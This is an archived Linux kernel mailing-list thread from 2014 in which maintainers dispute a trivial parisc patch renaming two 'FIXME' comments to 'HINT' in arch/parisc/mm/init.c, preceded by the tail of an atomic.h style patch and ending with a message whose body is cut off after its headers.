> is purely a style change.
>
> Signed-off-by: Pranith Kumar <bobby.prani@gmail.com>
> ---
>  arch/alpha/include/asm/atomic.h    | 4 ++--
>  arch/arm/include/asm/atomic.h      | 2 +-
>  arch/arm64/include/asm/atomic.h    | 4 ++--
>  arch/avr32/include/asm/atomic.h    | 2 +-
>  arch/cris/include/asm/atomic.h     | 2 +-
>  arch/frv/include/asm/atomic.h      | 2 +-
>  arch/ia64/include/asm/atomic.h     | 4 ++--
>  arch/m32r/include/asm/atomic.h     | 2 +-
>  arch/m68k/include/asm/atomic.h     | 2 +-
>  arch/mips/include/asm/atomic.h     | 4 ++--
>  arch/parisc/include/asm/atomic.h   | 4 ++--
>  arch/sh/include/asm/atomic.h       | 2 +-
>  arch/sparc/include/asm/atomic_32.h | 2 +-
>  arch/sparc/include/asm/atomic_64.h | 4 ++--
>  arch/x86/include/asm/atomic.h      | 2 +-
>  arch/x86/include/asm/atomic64_64.h | 2 +-
>  arch/xtensa/include/asm/atomic.h   | 2 +-
>  include/asm-generic/atomic.h       | 2 +-
>  18 files changed, 24 insertions(+), 24 deletions(-)

For xtensa:
Acked-by: Max Filippov <jcmvbkbc@gmail.com>

-- 
Thanks.
-- Max



From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Krause <yocto6@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc:Remove unnecessary FIXMES in init.c
Date: Tue, 23 Sep 2014 21:49:43 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1411523383-9820-1-git-send-email-yocto6@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1411523399 18459 80.91.229.3 (24 Sep 2014 01:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 01:49:59 +0000 (UTC)
Cc: deller@gmx.de, akpm@linux-foundation.org, mgorman@suse.de,
	julia.lawall@lip6.fr, himangi774@gmail.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 24 03:49:52 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWbiJ-0002qo-6q
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Sep 2014 03:49:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753234AbaIXBtu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2014 21:49:50 -0400
Original-Received: from mail-ig0-f172.google.com ([209.85.213.172]:37488 "EHLO
	mail-ig0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750894AbaIXBtu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2014 21:49:50 -0400
Original-Received: by mail-ig0-f172.google.com with SMTP id a13so5720068igq.5
        for <multiple recipients>; Tue, 23 Sep 2014 18:49:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=7oRi8zhlpEhbT19bi+aRoiFiWL1FymaFxpR55K9zmNg=;
        b=jJq2Azh+B9bfb86YtKIj7Esp8Dw5FZWU+pVyJ8C+N9b7hWC0mlhnEuPqCtkLE7YpOb
         82U+z8S8DG1+nxDsJBHDZ9rptH9MpBMgiRH+BAf7G3gosLurco2kYMad55aJEaNSZSKg
         KdeByj6l6eglZev95PiXtNqdgTuBf0KWREf+50GU6zEqe9uvIYkSYH1BCSjSoN0bpUV3
         qnrB/VARvnq9OtOsjh6KXcNal7OMcO6dZa+8aIiacY7KQpwa9zoRAUnCpO4tm/hEhuBS
         M5vgqANwChtov8FLlKsIzFXe0NqBhBImKT3122uSAqZvKsawyxB5Y/8DwjWmAGRgyF4C
         /kUg==
X-Received: by 10.42.205.19 with SMTP id fo19mr7317340icb.52.1411523389357;
        Tue, 23 Sep 2014 18:49:49 -0700 (PDT)
Original-Received: from nick-System-Product-Name.phub.net.cable.rogers.com (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.231.92.7])
        by mx.google.com with ESMTPSA id ci9sm3136334igb.17.2014.09.23.18.49.47
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 23 Sep 2014 18:49:48 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6030 gmane.linux.kernel:1793618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6030>

This removes the two fixmes in the file, init.c for compiler hints
for comments related to compiler hints in linux_gateway_page_addr
and map_hpux_gateway_page to change from FIXME to HINT in order
for people reading this code to understand that these are compiler
hints.

Signed-off-by: Nicholas Krause <yocto6@gmail.com>
---
 arch/parisc/mm/init.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 0bef864..668102e 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -733,7 +733,7 @@ static void __init pagetable_init(void)
 static void __init gateway_init(void)
 {
 	unsigned long linux_gateway_page_addr;
-	/* FIXME: This is 'const' in order to trick the compiler
+	/* HINT: This is 'const' in order to trick the compiler
 	   into not treating it as DP-relative data. */
 	extern void * const linux_gateway_page;
 
@@ -761,7 +761,7 @@ map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
 	unsigned long start_pte;
 	unsigned long address;
 	unsigned long hpux_gw_page_addr;
-	/* FIXME: This is 'const' in order to trick the compiler
+	/* HINT: This is 'const' in order to trick the compiler
 	   into not treating it as DP-relative data. */
 	extern void * const hpux_gateway_page;
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc:Remove unnecessary FIXMES in init.c
Date: Tue, 23 Sep 2014 22:30:36 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20140924053036.GA30405@roeck-us.net>
References: <1411523383-9820-1-git-send-email-yocto6@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411536652 426 80.91.229.3 (24 Sep 2014 05:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 05:30:52 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, akpm@linux-foundation.org,
	mgorman@suse.de, julia.lawall@lip6.fr, himangi774@gmail.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nicholas Krause <yocto6@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 24 07:30:44 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWfA3-0003eE-5I
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Sep 2014 07:30:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750880AbaIXFam (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Sep 2014 01:30:42 -0400
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:42736 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750826AbaIXFam (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Sep 2014 01:30:42 -0400
Original-Received: by mail-pa0-f45.google.com with SMTP id lj1so7734195pab.32
        for <multiple recipients>; Tue, 23 Sep 2014 22:30:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=wGTqb4rasKWHLy/75tk/TYsULDwcQ2rChbp4+xZECj0=;
        b=0Z4Cz70925q8ysZYCZ4e7H4cyReGfzucOoYQKcuLGDfRGrfQLkR+xc8M5fBgh3ZELR
         DC7AR3m0UDXuPGO5udTh1ilqPeSL24emY0eqTZC3EHtnx/sni0I/0E7G7SiYIICxjS+k
         DA8e/1NcUoCPZAQxV7Z8qmvktYTZXTgpJ+D1xMIkYHIJxDjILhWV13TsppnhMv9ks+3H
         i8Z28ZKIkgvRUcfyMgDsRHd5qzcJBU7pEu+eh0rcgi4wIYYa7n0M6YL5xCESvEYwX8Ai
         ZPke2owady9T6bO43Ewbnc+zINj4udXsI1H12vsgqUd/vPN2BCLOtQyJv08kloUvc1gw
         tGHQ==
X-Received: by 10.70.92.109 with SMTP id cl13mr3518340pdb.1.1411536641419;
        Tue, 23 Sep 2014 22:30:41 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id zn2sm13587028pbb.41.2014.09.23.22.30.40
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 23 Sep 2014 22:30:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1411523383-9820-1-git-send-email-yocto6@gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6031 gmane.linux.kernel:1793675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6031>

On Tue, Sep 23, 2014 at 09:49:43PM -0400, Nicholas Krause wrote:
> This removes the two fixmes in the file, init.c for compiler hints
> for comments related to compiler hints in linux_gateway_page_addr
> and map_hpux_gateway_page to change from FIXME to HINT in order
> for people reading this code to understand that these are compiler
> hints.
> 

"* const" tells the compiler that a pointer is a constant.
It doesn't tell the compiler that the data shall not be treated
as DP-relative.

FIXME as in: We should find a better way to tell the compiler to
not treat this data as DP-relative.

Can you please stop this ?

Guenter

> Signed-off-by: Nicholas Krause <yocto6@gmail.com>
> ---
>  arch/parisc/mm/init.c | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 0bef864..668102e 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -733,7 +733,7 @@ static void __init pagetable_init(void)
>  static void __init gateway_init(void)
>  {
>  	unsigned long linux_gateway_page_addr;
> -	/* FIXME: This is 'const' in order to trick the compiler
> +	/* HINT: This is 'const' in order to trick the compiler
>  	   into not treating it as DP-relative data. */
>  	extern void * const linux_gateway_page;
>  
> @@ -761,7 +761,7 @@ map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
>  	unsigned long start_pte;
>  	unsigned long address;
>  	unsigned long hpux_gw_page_addr;
> -	/* FIXME: This is 'const' in order to trick the compiler
> +	/* HINT: This is 'const' in order to trick the compiler
>  	   into not treating it as DP-relative data. */
>  	extern void * const hpux_gateway_page;
>  
> -- 
> 1.9.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nick <yocto6@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc:Remove unnecessary FIXMES in init.c
Date: Wed, 24 Sep 2014 07:42:24 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <5422AE20.3050702@gmail.com>
References: <1411523383-9820-1-git-send-email-yocto6@gmail.com> <20140924053036.GA30405@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411558958 29485 80.91.229.3 (24 Sep 2014 11:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 11:42:38 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, akpm@linux-foundation.org,
	mgorman@suse.de, julia.lawall@lip6.fr, himangi774@gmail.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 24 13:42:29 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWkxo-0006lt-Oo
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Sep 2014 13:42:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751088AbaIXLm2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Sep 2014 07:42:28 -0400
Original-Received: from mail-ie0-f172.google.com ([209.85.223.172]:50361 "EHLO
	mail-ie0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750828AbaIXLm1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Sep 2014 07:42:27 -0400
Original-Received: by mail-ie0-f172.google.com with SMTP id rp18so9439596iec.3
        for <multiple recipients>; Wed, 24 Sep 2014 04:42:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=Fd7mRFlGAztHwf7ADKH5eIaVur6yuXNeuwe737PxxxQ=;
        b=T0asiuFl+t9hfQ9CC0Hig5TexUgxVdhq+MtQb3Y1EpCZmZ2GFPPn5gh7gyCZI9Fw+c
         v0YGfX26ZuFw6178O7aKq3gl7PK8BArOCLcLolE5nzhEKAsDqC56TcUbGSezA3nulCt7
         xyjg//+Ufm/chtBplX8TtnCnB+s0nwectqnCcFMk70MvyYGvtx0refuVog0G9mReoSKu
         cE8q7xhykBmLW4uVKwnkIAtut4J5xYpj0AMg7O4wXOK74vqdYAcshCzrjbnZhqoYqnL2
         QSSD/T9qXK+X3B7liq9ZtIrlhRwPe+5YeMuVnSty59op6TJXYco3VXxq8koiIs80unKh
         G1HQ==
X-Received: by 10.42.98.15 with SMTP id q15mr10141467icn.29.1411558946906;
        Wed, 24 Sep 2014 04:42:26 -0700 (PDT)
Original-Received: from [192.168.0.50] (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.231.92.7])
        by mx.google.com with ESMTPSA id v2sm4070263igs.11.2014.09.24.04.42.24
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Sep 2014 04:42:25 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.1
In-Reply-To: <20140924053036.GA30405@roeck-us.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6032 gmane.linux.kernel:1794052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6032>



On 14-09-24 01:30 AM, Guenter Roeck wrote:
> On Tue, Sep 23, 2014 at 09:49:43PM -0400, Nicholas Krause wrote:
>> This removes the two fixmes in the file, init.c for compiler hints
>> for comments related to compiler hints in linux_gateway_page_addr
>> and map_hpux_gateway_page to change from FIXME to HINT in order
>> for people reading this code to understand that these are compiler
>> hints.
>>
> 
> "* const" tells the compiler that a pointer is a constant.
> It doesn't tell the compiler that the data shall not be treated
> as DP-relative.
> 
> FIXME as in: We should find a better way to tell the compiler to
> not treat this data as DP-relative.
> 
> Can you please stop this ?
> 
> Guenter
> 
>> Signed-off-by: Nicholas Krause <yocto6@gmail.com>
>> ---
>>  arch/parisc/mm/init.c | 4 ++--
>>  1 file changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
>> index 0bef864..668102e 100644
>> --- a/arch/parisc/mm/init.c
>> +++ b/arch/parisc/mm/init.c
>> @@ -733,7 +733,7 @@ static void __init pagetable_init(void)
>>  static void __init gateway_init(void)
>>  {
>>  	unsigned long linux_gateway_page_addr;
>> -	/* FIXME: This is 'const' in order to trick the compiler
>> +	/* HINT: This is 'const' in order to trick the compiler
>>  	   into not treating it as DP-relative data. */
>>  	extern void * const linux_gateway_page;
>>  
>> @@ -761,7 +761,7 @@ map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
>>  	unsigned long start_pte;
>>  	unsigned long address;
>>  	unsigned long hpux_gw_page_addr;
>> -	/* FIXME: This is 'const' in order to trick the compiler
>> +	/* HINT: This is 'const' in order to trick the compiler
>>  	   into not treating it as DP-relative data. */
>>  	extern void * const hpux_gateway_page;
>>  
>> -- 
>> 1.9.1
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>> Please read the FAQ at  http://www.tux.org/lkml/
>>
>>
Guenter,
I asked the maintainers and I got, 
On 9/23/2014 4:48 PM, Helge Deller wrote:
> The FIXME: is misleading. It should maybe better read "HINT:" or something like that.
> Trivially it's basically just casting the symbol so that the compiler
> will produce the correct code later on.
> There is nothing you could try to "fix".
Why not just remove "FIXME: " from these comments?

Dave
As the reply.
Cheers Nick 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc:Remove unnecessary FIXMES in init.c
Date: Wed, 24 Sep 2014 08:42:37 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <BLU437-SMTP36FDD8606D9D645C6428697B10@phx.gbl>
References: <1411523383-9820-1-git-send-email-yocto6@gmail.com> <20140924053036.GA30405@roeck-us.net> <5422AE20.3050702@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411562588 12921 80.91.229.3 (24 Sep 2014 12:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 12:43:08 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>, jejb@parisc-linux.org,
	deller@gmx.de, akpm@linux-foundation.org, mgorman@suse.de,
	julia.lawall@lip6.fr, himangi774@gmail.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: nick <yocto6@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 24 14:43:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWluM-0001lk-J5
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Sep 2014 14:42:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751012AbaIXMm6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Sep 2014 08:42:58 -0400
Original-Received: from blu004-omc2s38.hotmail.com ([65.55.111.113]:49813 "EHLO
	BLU004-OMC2S38.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750783AbaIXMm5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Sep 2014 08:42:57 -0400
Original-Received: from BLU437-SMTP3 ([65.55.111.72]) by BLU004-OMC2S38.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22724);
	 Wed, 24 Sep 2014 05:42:56 -0700
X-TMN: [yfLf55Z+fGGSodFZJhIvjlLUJJOroNZR]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([174.92.95.53]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Wed, 24 Sep 2014 05:42:54 -0700
In-Reply-To: <5422AE20.3050702@gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Sep 2014 12:42:55.0023 (UTC) FILETIME=[0FDE73F0:01CFD7F5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6033 gmane.linux.kernel:1794111
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6033>

On 24-Sep-14, at 7:42 AM, nick wrote:

>
>
> On 14-09-24 01:30 AM, Guenter Roeck wrote:
>> On Tue, Sep 23, 2014 at 09:49:43PM -0400, Nicholas Krause wrote:
>>> This removes the two fixmes in the file, init.c for compiler hints
>>> for comments related to compiler hints in linux_gateway_page_addr
>>> and map_hpux_gateway_page to change from FIXME to HINT in order
>>> for people reading this code to understand that these are compiler
>>> hints.
>>>
>>
>> "* const" tells the compiler that a pointer is a constant.
>> It doesn't tell the compiler that the data shall not be treated
>> as DP-relative.
>>
>> FIXME as in: We should find a better way to tell the compiler to
>> not treat this data as DP-relative.
>>
>> Can you please stop this ?
>>
>> Guenter
>>
>>> Signed-off-by: Nicholas Krause <yocto6@gmail.com>
>>> ---
>>> arch/parisc/mm/init.c | 4 ++--
>>> 1 file changed, 2 insertions(+), 2 deletions(-)
>>>
>>> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
>>> index 0bef864..668102e 100644
>>> --- a/arch/parisc/mm/init.c
>>> +++ b/arch/parisc/mm/init.c
>>> @@ -733,7 +733,7 @@ static void __init pagetable_init(void)
>>> static void __init gateway_init(void)
>>> {
>>> 	unsigned long linux_gateway_page_addr;
>>> -	/* FIXME: This is 'const' in order to trick the compiler
>>> +	/* HINT: This is 'const' in order to trick the compiler
>>> 	   into not treating it as DP-relative data. */
>>> 	extern void * const linux_gateway_page;
>>>
>>> @@ -761,7 +761,7 @@ map_hpux_gateway_page(struct task_struct *tsk,  
>>> struct mm_struct *mm)
>>> 	unsigned long start_pte;
>>> 	unsigned long address;
>>> 	unsigned long hpux_gw_page_addr;
>>> -	/* FIXME: This is 'const' in order to trick the compiler
>>> +	/* HINT: This is 'const' in order to trick the compiler
>>> 	   into not treating it as DP-relative data. */
>>> 	extern void * const hpux_gateway_page;
>>>
>>> -- 
>>> 1.9.1
>>>
>>> --
>>> To unsubscribe from this list: send the line "unsubscribe linux- 
>>> kernel" in
>>> the body of a message to majordomo@vger.kernel.org
>>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>> Please read the FAQ at  http://www.tux.org/lkml/
>>>
>>>
> Guenter,
> I asked the maintainers and I got,
> On 9/23/2014 4:48 PM, Helge Deller wrote:
>> The FIXME: is misleading. It should maybe better read "HINT:" or  
>> something like that.
>> Trivially it's basically just casting the symbol so that the compiler
>> will produce the correct code later on.
>> There is nothing you could try to "fix".
> Why not just remove "FIXME: " from these comments?


The wording of the comment is not good.  You can't "trick" the  
compiler into not
treating a constant as DP-relative data.  Whether or not a constant is  
loaded as an
immediate depends on its value.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Krause <yocto6@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc:Remove unnecessary FIXMES in init.c
Date: Wed, 24 Sep 2014 10:29:39 -0400
Lines: 99
Approved: news@gmane.org
Message-ID: <CAAxn8JkTYiFb7eNd+3SHY0Q6pH8QS5XmirkQzajyfe1k37cstQ@mail.gmail.com>
References: <1411523383-9820-1-git-send-email-yocto6@gmail.com>
	<20140924053036.GA30405@roeck-us.net>
	<5422AE20.3050702@gmail.com>
	<BLU437-SMTP36FDD8606D9D645C6428697B10@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1411568993 5391 80.91.229.3 (24 Sep 2014 14:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 14:29:53 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>, jejb@parisc-linux.org,
	deller@gmx.de, akpm@linux-foundation.org,
	Mel Gorman <mgorman@suse.de>,
	"julia.lawall@lip6.fr oneukum@suse.de" <julia.lawall@lip6.fr>,
	Himangi Saraogi <himangi774@gmail.com>,
	linux-parisc@vger.kernel.org,
	"julia.lawall@lip6.fr oneukum@suse.de" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 24 16:29:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWnZf-0002pI-EZ
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Sep 2014 16:29:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752600AbaIXO3n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Sep 2014 10:29:43 -0400
Original-Received: from mail-la0-f53.google.com ([209.85.215.53]:55316 "EHLO
	mail-la0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751201AbaIXO3m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Sep 2014 10:29:42 -0400
Original-Received: by mail-la0-f53.google.com with SMTP id ge10so10892407lab.12
        for <multiple recipients>; Wed, 24 Sep 2014 07:29:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=ncrk8+SDQQyo8mcAAWooscoSWONMbRrJltI5+40RZiY=;
        b=xcTpvpJInFdYDOzIKfpANxTtQnuNCtXtFHOFoBtckyf6VdHtVCnOXRSMX6ecMr9Omg
         zq2VBISuDoAv4X4Dv4cYHNAkY0ljPHFNnQX4dA7UvdKzGCknDXsOMSXa8E6FoR50Cdzj
         2Vnq66dK2Fb19jcNPwua4RMFolaQhPZXVneeuauD7KNBSVW4PNX3fvct47subAQL4UC4
         oQh/QWLJrwGJQOGALQwErwub5Zl/O8oW3ZhUuD4x72w4qYJsvAZUGWvEFLkjyrAC/9hS
         1m8vhm74xvI10J3QdQyV2Ws6C67tqMr4RfoqF3osglWFpNGdvAggCbuVxEUoRveY8Z34
         Wiuw==
X-Received: by 10.112.34.239 with SMTP id c15mr6498399lbj.64.1411568979603;
 Wed, 24 Sep 2014 07:29:39 -0700 (PDT)
